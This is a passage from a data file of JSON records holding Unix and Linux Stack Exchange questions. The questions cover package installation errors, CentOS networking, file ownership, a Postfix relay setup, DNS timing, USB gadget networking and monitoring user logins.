2013/06/11 13:26:57 <0999> (725102) Processing batch '12_2013162201' 2013/06/11 13:26:57 <0999> (725102) Total in batch: 160 documents using 4 KBytes So, what is wrong with my script? How can I get the desired output?"} {"_id": "148496", "title": "How do I install Exim and Horde on Centos 7 with MariaDB 10?", "text": "I can't find a guide for this (they are old and don't work) and I can't seem to manage to install it. I can't install Postfix because of its dependencies, so I'm going with Exim, which I installed through `yum install exim` and it was the latest version. However, I have no idea where to go from here. I know that I need to install Dovecot or Cyrus and I want to install Horde (not Squirrelmail). Not to mention that I also want to keep MariaDB 10, which I installed from its repository, as well as PHP 5.5. I don't know where to go from here."} {"_id": "53336", "title": "pysqlite install error on FreeBSD in virtualenv", "text": "I am trying to install pysqlite using pip under a virtualenv in FreeBSD 7.3, with Python version 2.6.2. I didn't have any issues for installing other packages like Django, PIL etc. All of them I installed after activating virtualenv only. But I get a huge error for `pip install sqlite`. Here's the tail of the error src/module.c:426: warning: implicit declaration of function 'sqlite3_libversion' src/module.c:426: warning: passing argument 1 of 'PyString_FromString' makes pointer from integer without a cast error: command 'gcc' failed with exit status 1 Command /usr/home/myuser/python-sites/virtpython/bin/python -c \"import setuptools;__file__='/usr/home/myuser/python-sites/virtpython/build/pysqlite/setup.py';exec(compile(open(__file__).read().replace('\\r\\n', '\\n'), __file__, 'exec'))\" install --record /usr/tmp/pip-N3U6Px-record/install-record.txt --single-version-externally-managed --install-headers /usr/home/myuser/python-sites/virtpython/include/site/python2.6 failed with error code 1 in /usr/home/myuser/python-sites/virtpython/build/pysqlite Exception information: Traceback (most recent call last): File \"/usr/home/myuser/python-sites/virtpython/lib/python2.6/site-packages/pip-1.2.1-py2.6.egg/pip/basecommand.py\", line 107, in main status = self.run(options, args) File \"/usr/home/myuser/python-sites/virtpython/lib/python2.6/site-packages/pip-1.2.1-py2.6.egg/pip/commands/install.py\", line 261, in run requirement_set.install(install_options, global_options) File \"/usr/home/myuser/python-sites/virtpython/lib/python2.6/site-packages/pip-1.2.1-py2.6.egg/pip/req.py\", line 1166, in install requirement.install(install_options, global_options) File \"/usr/home/myuser/python-sites/virtpython/lib/python2.6/site-packages/pip-1.2.1-py2.6.egg/pip/req.py\", line 589, in install cwd=self.source_dir, filter_stdout=self._filter_install, show_stdout=False) File \"/usr/home/myuser/python-sites/virtpython/lib/python2.6/site-packages/pip-1.2.1-py2.6.egg/pip/util.py\", line 612, in call_subprocess % (command_desc, proc.returncode, cwd)) InstallationError: Command /usr/home/myuser/python-sites/virtpython/bin/python -c \"import setuptools;__file__='/usr/home/myuser/python-sites/virtpython/build/pysqlite/setup.py';exec(compile(open(__file__).read().replace('\\r\\n', '\\n'), __file__, 'exec'))\" install --record /usr/tmp/pip-N3U6Px-record/install-record.txt --single-version-externally-managed --install-headers /usr/home/myuser/python-sites/virtpython/include/site/python2.6 failed with error code 1 in /usr/home/myuser/python-sites/virtpython/build/pysqlite 'virtpython' is my virtualenv % pkg_info | grep sqlite sqlite-2.8.17_1 An SQL database engine in a C library sqlite3-3.6.11 An SQL database engine in a C library If there is a sqlite devel package for FreeBSD, where can I find it? Or the issue is something else??"} {"_id": "36910", "title": "Installing centos server in a virtual machine", "text": "I have little Unix/Linux experience, so sorry if this sounds stupid. What I want to do is simple: I want to learn CentOs so that I can manage my own web server. I did so by buying a dedicated and setting up CentOs. It's good, but the latency (around 300ms with Putty) is killing me when typing. So I have decided to setup CentOS on my local machine. I have Windows XP and Virtual Box installed. Simply, I want to install CentOs (the Server, not the Desktop GUI) either on the Virtual Box or as a separate OS (neck to neck with Windows XP) whichever is best and easier. I'm looking for suggestions or possible solutions. I'm overwhelmed with the tons of articles/packages out there. Thank you!"} {"_id": "53334", "title": "Running 'Leafpad' on terminal opens Gedit", "text": "I am running leafpad on the terminal but it opens gedit instead. Any Ideas why this happens? I am using Openbox btw."} {"_id": "53333", "title": "Extract UNIX dump file in Windows 7", "text": "I have a dump-file of the UFS partition created with FreeBSD's `dump`. How to view its content and extract some files from it on Windows 7? Cygwin's `restore` provides very limited functionality and doesn't have an interactive mode like BSD's `restore`. Installing virtual machine is not a option. **Needs to be right on Windows.** Please help."} {"_id": "53332", "title": "How to restore the original Backtrack Taskbar", "text": "I accidentally removed the my taskbar on Backtrack 5 and am having trouble returning it. If I minimize anything it gets lost and I can't access it again. How do I go about restoring it?"} {"_id": "53331", "title": "CentOS 6.3 Device eth0 does not seem to be present (Minimal non-cloned setup)", "text": "I installed CentOS 6.3 on my hardrive partition (new install...minimal install). After successful installation, I see that eth0 was down looked for 70-persistent-net.rules file under /etc/udev .. did not find it Here are my ifcfg-eth0 settings: **Note I had to create this file manually** DEVICE=eth0 HWADDR=* BOOTPROTO=dhcp ONBOOT=yes TYPE=ETHERNET This machine is connected to ethernet(I have Windows 7 on another partition and I am able to connect to Internet) ifconfig -a | grep eth returns no result ethtool eth0 returns `Cannot get device settings : No such device...` What can I try to get CentOS to detect eth0?"} {"_id": "36915", "title": "Locate disk in SAS enclosure", "text": "I want to blink the failing device in my 24-disk SAS enclosure. I have found `sg_ses --index 7 --set=locate /dev/sg24` which is supposed to identify slot 7. But how do I figure out which slot/index `/dev/sdh` is? This is not obvious as Linux does not name /dev/sdX after the slot, but after the sequence it was detected. Think what happens if slot 1 is empty at boot, but is filled later. Edit: The controller is a SAS2008."} {"_id": "90714", "title": "\\uFFFD character in directory name", "text": "I have a lot of directories with a \\uFFFD (65533) character in it. The problem is that I can't really access this directory because of this character. For example I got a directory with the name: `Foo\ufffdo` (\ufffd == `\\uFFFD`) 1. `ls Foo\ufffdo` is not working (so `tab` is always showing the only possible file but it will never complete it 'cause it's not working) 2. `ls Foo*` is working The problem is that I can't use the 2. way because there might be other directories starting with the same characters. So the actual question is if there's a way to escape a character like this. So I'm searching for a working version of this: `ls Foo\\uFFFDo` <= not working"} {"_id": "90715", "title": "Failed updating posts on wordpress when use linux, but succeed on windows", "text": "I'm using Wordpress for blogging. And I use Windows 7 accompanied with Linux Mint on my PC. Recently I find that I can't update my posts on Wordpress when using Linux Mint. However, when I switch to Windows 7, I can update my post again. And another issue is I can upload files through FileZilla or FireFTP to my server on Linux Mint with no error, but the files become zero bytes. However, the same problem DOES NOT occur on Windows 7. So, what's the real cause? Should any settings to be done on the Linux network? ## Addition I have Linux Mint and Windows 7 Pro on my PC, both **not** running in a virtual machine. I use both Chrome (31.0.1626.0 dev) and Firefox (23.0) on Mint No LSB modules are available Distributor ID: LinuxMint Description: Linux Mint 15 Olivia Release: 15 Codename: olivia for updating my posts but both browsers can't update the posts. ## Update Not only \"Update\" failed, \"Save Draft\", \"Preview\" and \"Publish\" all failed, even after I deactivated all the plugins. Another issue occurs. On Linux Mint, I'm not able to post **questions with long content** on Stackoverflow, while on Windows 7 I can."} {"_id": "90716", "title": "Emacs alternate editor client server start", "text": "How can I get Emacs to start in server mode with the alternate editor? From this conversation, I was able to enable the server with the alternate editor. However, I just re-installed emacs and I am receiving the following error now: emacsclient: can't find socket; have you started the server? To start the server in Emacs, type \"M-x server-start\". Warning: due to a long standing Gtk+ bug I added this to my bashrc: # aliases # Emacs from the terminal as a client alias emacs='emacsclient -t --alternate-editor=' but it isn't working as it did last time. I am on Emacs-snapshot-gtk. I was told this may be due to reading a server from another version so here is my `readlink` info. dustin@dustin:~$ readlink -f $(type -p emacs) /usr/bin/emacs-snapshot-gtk dustin@dustin:~$ readlink -f $(type -p emacsclient) /usr/bin/emacsclient.emacs-snapshot dustin@dustin:~$ Does anyone know what I can do to fix this? * * * **Edit:** I found this add on for emacs: https://github.com/ahyatt/emacs-websocket However, I don't know if it will help or how to implement it."} {"_id": "90717", "title": "Space left on Linux RAM/TMP,FS", "text": "Recently I have come to believe a number of unusual occurrences that have happened while running a Parted Magic Live CD, are the result of running out of space on the RAM based filesystem, namely: * Folder contents disappearing, only to reappear later * `Mount-gtk` not showing single mounted drive/not allowing unmount (While bash `mount` commands function normally) * Firefox freezing, then seemingly freezing the GUI. * My Firefox session recovering as if the browser crashes at each clean close * Loosing last x minutes of Firefox session history * Sound/clipboard redirection intermittently not working in `rdesktop` * `Conky` crashing periodically ...Not despite the SpaceFM warning of no space to store state data **AND** some of these problems disappearing only after moving some files off the filesystem. Problem being, I am not sure how to (at least) keep an eye on the \"space\" left of the filesystem (Note: There is no entry for the `/` partition in the output of `df`, `fdisk -l` or `mount`), let alone (assuming I am right that the filesystem space not being relative to the system memory, that I had been monitoring with `conky`) how to go about increasing the sizing ?at boot time? Help? P.S Thought it most appropriate to tag this question with parted-magic, ramfs (or tmpfs... Not sure how to identify which one is in use) and low-disk-space like tags, but alas there doesn't appear to be any of them. If the community doesn't want to create one/all, please feel free to suggest other tags that others feel are appropriate."} {"_id": "102201", "title": "What is \"Exit 2\" from finished background job status?", "text": "I have an exercise to put in a file some data (*conf from some directories) and need to do this in background. I did it and I am wondering what is the meaning of output messages: [A@localhost tests]$ ls -ld /etc/*conf /usr/*conf > test1_6_conf.txt 2>&1 & Enter rises this row: [1] 2533 what does it mean? After other Enter, another messages appear [A@localhost tests]$ [1]+ Exit 2 ls --color=auto -ld /etc/*conf /usr/*conf > test1_6_conf.txt 2>&1 What does it mean? What is \"Exit 2\"? Enter an check results - seems to be all OK. [A@localhost tests]$ [A@localhost tests]$ ls -l test1_6_conf.txt -rw-rw-r--. 1 A A 2641 Nov 22 14:19 test1_6_conf.txt [A@localhost tests]$ I am using CentOS 6.4, Gnome Terminal Emulator."} {"_id": "90711", "title": "Is it possible to strace the builtin commands to Bash?", "text": "Inspired by this question, titled: When are the built-in commands loaded to memory, while attempting to answer this I tried the following command and was a bit surprised that I couldn't run it: $ strace cd $HOME Is there a method I can make use of to run strace for the builtin commands to Bash?"} {"_id": "113609", "title": "Fedora 18 in VM locks the CD drive", "text": "I have windows 7 and I installed VMware (VMware-player-5.0,2-1031769) and want to put fedora 18 in it but after complete installation is done I'm getting the below error: > The guest operating system has locked the cd-rom door and is probably using > the cd-rom which can prevent the guest from recognition media changes. If > possible eject the CD-ROM from inside the guest before the disconnection. Disconnect anyway and override the lock? Can anyone help me to come out of this problem..."} {"_id": "53338", "title": "Why does dd change the filesystem on the external disk?", "text": "I took out a 250 GB SATA disk from my netbook, filled it with zeroes with dd and connected it to my laptop via the usb adapter. It's correctly detected by fdisk: Disk /dev/sdb: 250.1 GB, 250059350016 bytes 255 heads, 63 sectors/track, 30401 cylinders, total 488397168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x475fa272 Device Boot Start End Blocks Id System I created a primary partition and used the following command to create a ext4 filesystem: mkfs.ext4 /dev/sdb1 Now fidsk shows: Disk /dev/sdb: 250.1 GB, 250059350016 bytes 81 heads, 63 sectors/track, 95707 cylinders, total 488397168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x475fa272 Device Boot Start End Blocks Id System /dev/sdb1 2048 488397167 244197560 83 Linux Ok, no surprise so far. Next, I wanted to extract Ubuntu ISO image with the following command: dd if=~/ubuntu-12.10-desktop-i386.iso of=/dev/sdb To my surprise, filesystem changed to 'Hidden HPFS/NTFS': Disk /dev/sdb: 250.1 GB, 250059350016 bytes 19 heads, 24 sectors/track, 1071046 cylinders, total 488397168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x475fa272 Device Boot Start End Blocks Id System /dev/sdb1 * 64 1542743 771340 17 Hidden HPFS/NTFS What's the CORRECT way to extract ISO image to the external drive using dd with preserving the current filesystem?"} {"_id": "58347", "title": "FreeBSD 9 KDE4 No Mouse or keyboard at KDE login screen", "text": "Fresh Install of FreeBSD 9 and KDE 4. System boots to KDE log in screen, but no mouse or keyboard when I get there. I can `Ctrl``Alt``F1` out of the KDE. I Have the following lines in rc.conf: moused_port=\"/dev/psm0\" moused_type=\"auto\" moused_enable\"YES\" Option \"AutoAddDevices\" \"false\" local_startup=\"$(local_start_up) /usr/local/kde4/etc/rc.d\" hald_enable=\"YES\" dbus_enable=\"YES\" kdm_enable=\"YES\""} {"_id": "58346", "title": "Automatically printing images with added captions", "text": "I have a lot of scanned images and images/photos I'm working on with multiple versions. When I print them (using various programs), all I get is the image and, often, it's difficult to tell which image came from which file. This is particularly frustrating with my (27K) photos when I have a print and want another copy and can't find it. (The photos are in KPhotoAlbum, so I can find the minority that I have actually tagged correctly.) What I would like is a utility that would print a bunch of images (e.g. doit *.jpg) and include an automatic (program generated) caption (hopefully configurable) with something like the full path of the file in it. gnome- photo-printer would be perfect if it had an option to print the full paths of the images with them. I need this while projects are in progress and for cleaning up afterwards. This is not for \"final\" images. It would be cool (and economical) if I could also specify the print size of the image because, often, smaller \"thumbnail\" images may be enough for organizing/cleaning up and they would save a bunch of time, paper, and ink/toner. I know I could manually create a document with an embedded picture in something like LO writer, but that would be totally manual (at least with my level of expertise) and thus very slow. It would be particularly nice to have the caption \"outside\" the picture so it would not interfere with the content and so I could control the background and font colors for readability. * * * I figured out (in principle) how to build something like this in bash using convert a couple of times along with composite (both from ImageMagick), but it's fairly convoluted and I'm hoping for something simpler."} {"_id": "58566", "title": "Problems installing Arch Linux: cannot mount the installation media", "text": "> **Possible Duplicate:** > mounting problem during installation of archlinux on dell xps one I am trying to install Arch Linux on my Acer Aspire 4830tg, but I keep running into problems. I am trying to install Arch off a USB stick and I got the iso image using Bittorrent. I am also trying to install it alongside of Windows 8 (which is already installed). When I boot into Arch linux I get this error :: Mounting '/dev/disk/by-label/ARCH_201212' to 'run/archiso/bootmnt' Waiting 30 seconds for device /dev/disk/by-label/ARCH_201212 ... ERROR: '/dev/disk/by-label/ARCH_201212' device did not show up after 30 seconds... Falling back to interactive prompt You can try to fix the problem manually, log out when you are finished sh: can't access tty; job control turned off So I know that it will work if I run it on a virtual machine but whenever I try to install it on my laptop I keep getting this error."} {"_id": "27350", "title": "Why can't a normal user `chown` a file?", "text": "Why is the `chown` command root-only? Why can't non-root users use chown to give away files they own?"} {"_id": "95867", "title": "file owner not able to renounce the ownership to root? But root can!", "text": "I logged in as username 'ravbholua' I created a file `bb` as below: ravbholua@ravi:~/Pictures$ echo>bb ravbholua@ravi:~/Pictures$ ll total 12 drwxr-xr-x 2 ravbholua sudo 4096 Oct 13 11:18 ./ drwxr-xr-x 23 root sudo 4096 Oct 13 11:03 ../ -rw-r--r-- 1 ravbholua sudo 1 Oct 13 11:18 bb ravbholua@ravi:~/Pictures$ Please note the owner of `bb` is me (ravbholua). But I am not able to renounce the ownership to root. ravbholua@ravi:~/Pictures$ chown root bb chown: changing ownership of 'bb': Operation not permitted ravbholua@ravi:~/Pictures$ But root can change the ownership of my file. ravbholua@ravi:~/Pictures$ ll total 12 drwxr-xr-x 2 ravbholua sudo 4096 Oct 13 11:18 ./ drwxr-xr-x 23 root sudo 4096 Oct 13 11:03 ../ -rw-r--r-- 1 root sudo 1 Oct 13 11:18 bb ravbholua@ravi:~/Pictures$ I am working on Ubuntu13.04 Earlier when I had worked on Fedora9, there the file owner was able to change the ownership. I think linux Operating System allows the file owner to do so."} {"_id": "119229", "title": "can not chown a file from my $user to another $user", "text": "I am on slackware64 v14.0 and I have file that belongs to me: -rwxrwxr-x+ 1 nass shares 137934 Mar 7 00:06 myfile.csv* I am a member of the \"shares\" group. The folder that contains `myfile` looks like this drwxrwsr-x+ 12 nass shares 4096 Mar 12 04:54 winmx/ I now want to give ownership of this file to another user of this pc. The other user is also a member of the shares group. However, chown otheruser myfile.csv does not do the trick. I get a chown: changing ownership of 'myfile.csv': Operation not permitted I had recently asked a similar question about `gid`, but this is not the same problem. How can I solve this ?"} {"_id": "58340", "title": "Find all folders in a directory with the same content", "text": "In Ubuntu, is there any to find duplicate folders in a directory (i. e., folders with the same content)? I think there are already some command-line tools available for finding duplicate files (such as fdupes), but I want to find duplicate folders instead. That is, find folders which match in terms of the contents of the files they contain (though the filenames and other metadata might differ)."} {"_id": "108063", "title": "Printing connected users in bash script", "text": "I have a script file like this: #!/bin/bash clear echo \"The script starts now.\" echo \"Hi, user!\" echo echo \"I will now fetch you a list of connected users:\" echo w echo \"I'm setting two variables now.\" COLOUR=\"black\" VALUE=\"9\" echo \"This is a string: $COLOUR\" echo \"And this is a number: $VALUE\" echo I observed that the effect of w is that it prints the following: 18:06:36 up 7:43, 3 users, load average: 0.40, 0.56, 0.64 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT hes tty7 10:23 7:43m 12:31 0.96s gnome-session - hes pts/0 :0 15:41 4.00s 1.38s 11.46s gnome-terminal hes pts/2 :0 17:20 44:52 0.79s 11.46s gnome-terminal when I typed echo \" statement\" in terminal , it prints the statement. But I could not understand w here. in terminal echo w , prints w not as above. I am a beginner in scripting, so can someone help me in understanding how this work?"} {"_id": "108062", "title": "APF IPTABLES automaticly removing allow hosts", "text": "I'm using apf for configure iptables. From last 5 days, apf automaticly removing IP from `/etc/apf/allow_hosts.rules` Please help me to clear this issue."} {"_id": "108061", "title": "Configure Postfix to Relay and Login From External Machine", "text": "I hope someone can offer me some assistance with this, its driving me bonkers. There maybe a hole in my understanding on how this should work, so be gentle with me. I have a Crunchbang Debian LAMP server which I use to host some Mailing list applications. I also use it at a mail server running Dovecot and Postfix. Postfix is configured to relay to my Pro SMTP server account. Any email sent via application internally is sent perfectly via relay and any email sent to a user on my machine is received and Dovecot functions well as an IMAP Server. I can log into my machine from outside the LAN and read IMAP mails for any user. However, when I try to use Postfix from outside my network to send email via my relay the application trying to authenticate to Postfix as an SMTP just stalls or fails .. I am presuming that Postfix requires the same authentication as in via a Unix User and their associated password .. and have tried several different configs to now avail. Do I have to use another Port to relay via my Postfix config? My main.cf reads :- # See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate \"delayed mail\" warnings #delay_warning_time = 4h readme_directory = no # TLS parameters smtpd_tls_cert_file = /etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file = /etc/ssl/private/ssl-cert-snakeoil.key smtpd_use_tls=yes smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache # See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for # information on enabling SSL in the smtp client. myhostname = italchemists.twilightparadox.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = italchemists.twilightparadox.com, italchemists-server, localhost.localdomain, localhost relayhost = [pro.turbo-smtp.com]:587 smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/smtp_sasl_password_map smtp_sasl_security_options = noanonymous smtp_use_tls = yes mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all home_mailbox = Maildir/ smtpd_recipient_restrictions = permit_sasl_authenticated smtpd_tls_security_level = may smtpd_delay_reject = no"} {"_id": "9196", "title": "Find a file in the path without \"which\"?", "text": "I am (somehow) able to run a script: $ assemble.sh file ... [output] But `which` can't find it: $ which assemble.sh which: no assemble.sh in (/s/std/bin:/usr/afsws/bin:/opt/SUNWspro/bin:/usr/ccs/bin:/usr/ucb:/bin:/usr/bin:/usr/stat/bin:/usr/X11R6/bin:. 1. How is this possible? 2. How can I find where this file is? I'm using bash."} {"_id": "104919", "title": "Reconfiguring GNOME keyring daemon", "text": "I have a really strange problem when using GNOME keyring daemon. I had an old SSH key which I've now retired and started using a new, stronger keyfile. However, every time I attempt to SSH into one of my servers, SSH tells me Agent admitted failure to sign using the key. Permission denied (publickey). fatal: The remote end hung up unexpectedly I'm pretty sure that the keyring daemon is trying to use my old key for some strange reason. How can I reconfigure the keyring daemon to delete any knowledge of my old key?"} {"_id": "62773", "title": "Issue when setting a default path in BASH", "text": "I have a BASH scripting question. I'd like the mention that I am new to BASH scripting; however, I am not new to programming. I am developing a simple BASH script to watch a given compass project. My script is shown below. I would like to allow a user to optionally enter a custom path or use the default `http_path` value. I'm not sure how to set the `path` variable equal to the `http_path` variable where my default Apache directory is located using my current script. If any one has better suggestions and/or resources for learning how to write BASH scripts, please share! **Note:** I have searched this site, Google, and stackoverflow for an answer. If you find one with a solution to my issue, please let me know! #!/bin/bash # This script will watch a given compass project http_path=/var/www/ echo -n \"Enter in a new path and press. To use the default path $http_path press [ENTER] twice\" while read path; do if [ -z \"${path}\" ]; then clear # these two lines enable the script to work if I do not # I do not prompt for default path. It's been tested and works # echo \"That was empty, do it again!\" # echo -n \"Enter in a compass project directory and press [ENTER]\" echo \"Are you sure you would like to use the default path? Press [ENTER] to continue...\" $path=$http_path else echo \"Checking now...\" break fi done echo -n \"Enter in a project to watch and prss [ENTER]\" while read project; do if [ -z \"${project}\" ]; then clear echo \"That was empty, do it again!\" echo -n \"Enter in a compass project name and press [ENTER]\" else echo \"Checking now...\" break fi done echo \"Watching\" $project \"project in directory\" $path echo \"To exit project press Command/Control + C\" cd $path compass watch $project See problem solution here"} {"_id": "146599", "title": "Is it possible to have a bashrc for a usergroup?", "text": "Is it possible to execute some bashrc file for all users in a group? If you can do that system-wide in /etc/profile then why not for a usergroup?"} {"_id": "62770", "title": "Error : .onLoad failed in loadNamespace() for 'cairoDevice' on a Linux Machine", "text": "After spending 1 hour searching for the solution I am posting this here. Does any one know how to install cairoDevice,package on R, Linux Server. R CMD INSTALL cairoDevice_2.19.tar.gz * installing to library 'software/R/R-2.15.2/library' * installing *source* package 'cairoDevice' ... ** package 'cairoDevice' successfully unpacked and MD5 sums checked checking for pkg-config... pkg-config configure: creating ./config.status config.status: creating src/Makevars ** libs gcc -std=gnu99 -I/software/R/R-2.15.2/include -DNDEBUG -I/usr/include/gtk-2.0 -I/usr/lib64/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libpng12 -g -I/usr/local/include -fpic -g -O2 -c cairoDevice.c -o cairoDevice.o gcc -std=gnu99 -I/users/GR/mb/gbogu/software/R/R-2.15.2/include -DNDEBUG -I/usr/include/gtk-2.0 -I/usr/lib64/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libpng12 -g -I/usr/local/include -fpic -g -O2 -c gtk.c -o gtk.o gcc -std=gnu99 -shared -L/usr/local/lib64 -o cairoDevice.so cairoDevice.o gtk.o -lgtk-x11-2.0 -lgdk-x11-2.0 -latk-1.0 -lgio-2.0 -lpangoft2-1.0 -lgdk_pixbuf-2.0 -lpangocairo-1.0 -lcairo -lpango-1.0 -lfreetype -lfontconfig -lgobject-2.0 -lgmodule-2.0 -lglib-2.0 installing to software/R/R-2.15.2/library/cairoDevice/libs ** R ** demo ** preparing package for lazy loading ** help *** installing help indices ** building package indices ** testing if installed package can be loaded Error : .onLoad failed in loadNamespace() for 'cairoDevice', details: call: fun(libname, pkgname) error: GDK display not found - please make sure X11 is running Error: loading failed Execution halted ERROR: loading failed * removing 'software/R/R-2.15.2/library/cairoDevice' * restoring previous 'software/R/R-2.15.2/library/cairoDevice'"} {"_id": "137399", "title": "History in the Almquist shell in the NetBSD", "text": "In NetBSD `/bin/sh` is a modified version of the Almquist shell. With the command `fc -l` it is possible to view the last 16 commands typed in the prompt in the **current** session and **not the older ones**. The environment variable `HISTSIZE` is set at 1000 and in `bash` this means that the last 1000 commands ( **whether or not** they were typed in the current session) are saved in a file named `.bash_history` in the home directory. But here it seems to mean just that the last 1000 commands in this session are keeped in the history, and the history does not seem to be saved in a file. I am looking for a history which allows not only to read the last commands of the current session, but also **the commands of the previous sessions** (for example, the previous time I started the system, not the actual time). Does `/bin/sh` in NetBSD have by default **such an history**? If not, is it possible to create such an history in that shell?"} {"_id": "62775", "title": "Prompt \"-bash-3.2$\" vs. \"bash-3.2$\" in SunOS 5.10", "text": "When I log into a server running SunOS 5.10, my prompt initially is \"-bash-3.2$\" Then when I run the following commands, I can see that the prompt is slightly different after typing `bash` (it no longer begins with a dash), yet echo $SHELL gives the same result. -bash-3.2$ echo $SHELL /bin/bash -bash-3.2$ bash bash-3.2$ echo $SHELL /bin/bash What does this mean, and what implications does it have?"} {"_id": "62779", "title": "Emulating a file", "text": "I have certain application that opens a file with given path (presumably with `fopen` or derivative), reads the file, possibly writes to it and closes it. I have no control over this application other than specifying the path. What I am trying to do is 'emulate' a file within the local filesystem to pass it to the application. That is, I want the file to appear as an ordinary file in the filesystem, however the streams are redirected to another application that handles them correctly and outputs appropriate data. Essentially, I want to create a pseudo-device, except that it is not a device at all. Is this doable at all? How would I approach this problem?"} {"_id": "115601", "title": "Why does dig take much longer than DNS query time?", "text": "I'm investigating slow DNS responses on Ubuntu, I have installed `bind9` to improve times from local cache, but still something is odd. What could make `dig` wait for 10 seconds and say that query time took 0? time dig google.ro +all ; <<>> DiG 9.9.3-rpz2+rl.13214.22-P2-Ubuntu-1:9.9.3.dfsg.P2-4ubuntu1.1 <<>> google.ro +all ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 9665 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;google.ro. IN A ;; Query time: 0 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Mon Feb 17 20:15:19 CET 2014 ;; MSG SIZE rcvd: 38 dig google.ro +all 0.01s user 0.00s system 0% cpu 10.012 total"} {"_id": "115602", "title": "RNDIS Server to make a computer as a peripheral", "text": "First of all my goal is this, have a computer as a peripheral device to connect it to anyone's computer with ssh protocol or web. The idea is doing this by using a plug and play USB cable . Facts that I know: * USB is designed as Master/Slave Architecture, so simple connection doesn't work beacuse both computer are acting as a host. * Ethernet is the simplest solutions, I know but I don't want to loose that interface. * There is a cable that makes a connection as USB PC to PC cable link. But I am not sure if we can get ssh work with this. Searching I found the RNDIS protocol, I think this maybe has a solution to my problem but I don't what is this for exactly. Here it says: > RNDIS support allows a PC to talk to a Linux-based embedded system over USB > by making the embedded system look like a USB attached Ethernet adapter. This is pretty much what I need. Could somebody guide me on what I want? Maybe I am missing the point, I do not know. **I have compile a new kernel with the USB GADGET DRIVERS options and setup g_ether.ko module. When I tried to load the module** sudo modprobe g_ether FATAL: Error inserting g_ether (/lib/modules/3.13.2/kernel/drivers/usb/gadget/g_ether.ko): No such device` and ls /lib/modules/3.13.2/kernel/drivers/usb/gadget/ -rw-r--r-- 1 root root 25072 feb 14 15:04 gadgetfs.ko -rw-r--r-- 1 root root 9660 feb 14 15:04 g_cdc.ko -rw-r--r-- 1 root root 5888 feb 14 15:04 g_dbgp.ko -rw-r--r-- 1 root root 11676 feb 14 15:04 g_ether.ko -rw-r--r-- 1 root root 12072 feb 14 15:04 g_mass_storage.ko -rw-r--r-- 1 root root 22548 feb 14 15:04 g_printer.ko -rw-r--r-- 1 root root 9604 feb 14 15:04 g_serial.ko -rw-r--r-- 1 root root 29748 feb 14 15:04 g_webcam.ko -rw-r--r-- 1 root root 13576 feb 14 15:04 g_zero.ko"} {"_id": "99590", "title": "how to install arch linux on 32 bit system", "text": "I would like to install arch Linux on my netbook, which is not 64 bit compatible. I searched through the downloads on the arch Linux download page and everything there pertains to 64 bit architecture. All of their documentation reflects this as well. Is arch Linux today only for 64 bit systems?"} {"_id": "115607", "title": "awk + print awk output in one line", "text": "When I run the following **hasys** command with **awk** , I get output with machines names as the following: hasys -display|grep Shutdown | awk '{print $1}' machine1a machine1b please advice how to print the machines names in one line as the following: example hasys -display|grep Shutdown | awk '{print $1}' machine1a machine1b what I need to add in my awk syntax so I will able to print the names in one line?"} {"_id": "148340", "title": "Joining two files", "text": "I have a 2 files with the following: File1.txt A 1 B 2 C 5 Z 3 File2.txt A 4 B 7 C 10 D 11 What I would like to do is create something like A 1 4 B 2 7 C 5 10 D - 11 Z 3 - Is there a utility that does this? If not how Can this be done? Using a `find` and `awk` or something?"} {"_id": "115609", "title": "Whisker menu remove keyboard shortcut", "text": "Using Linux mint 16, with XFCE as desktop environment. I have a problem removing the default keyboard shortcut (Super_L), for opening the Whisker menu. The shortcut shows up in Application shortcuts, in the keyboard settings.Though, as shown in the image below, I am not able to remove it by clicking remove - nothing happens. ![shortcut](http://i.stack.imgur.com/BeWon.png) I have also tried modifying ~/.config/xfce4/xfconf/xfce-perchannel- xml/xfce4-keyboard-shortcuts.xml to no avail. I can not seem to find an entry for the xfce4-whiskermenu-plugin. Even uninstalling the Whisker menu does not work. So my question is, how do I stop the Whisker menu from hijacking my Windows/Super_L key? I want to bind this key to another application launcher."} {"_id": "143864", "title": "Monitor all login attempts", "text": "Few weeks ago I thought it would be a good idea to write a script to send me an email whenever some user logs in into my server. So I came with a perfectly working script `notifyLogin.sh`, then I decided to call it from each user's `.bash_login` script. But I discovered that someone could log in in my server using `ssh` `-t` switch to select an available shell. For example: ssh user@myserver -t sh This way, `.bash_login` does not execute, neither does `/etc/profile`. Is there any way to call `notifyLogin.sh` independent of shell type at log in? (It should 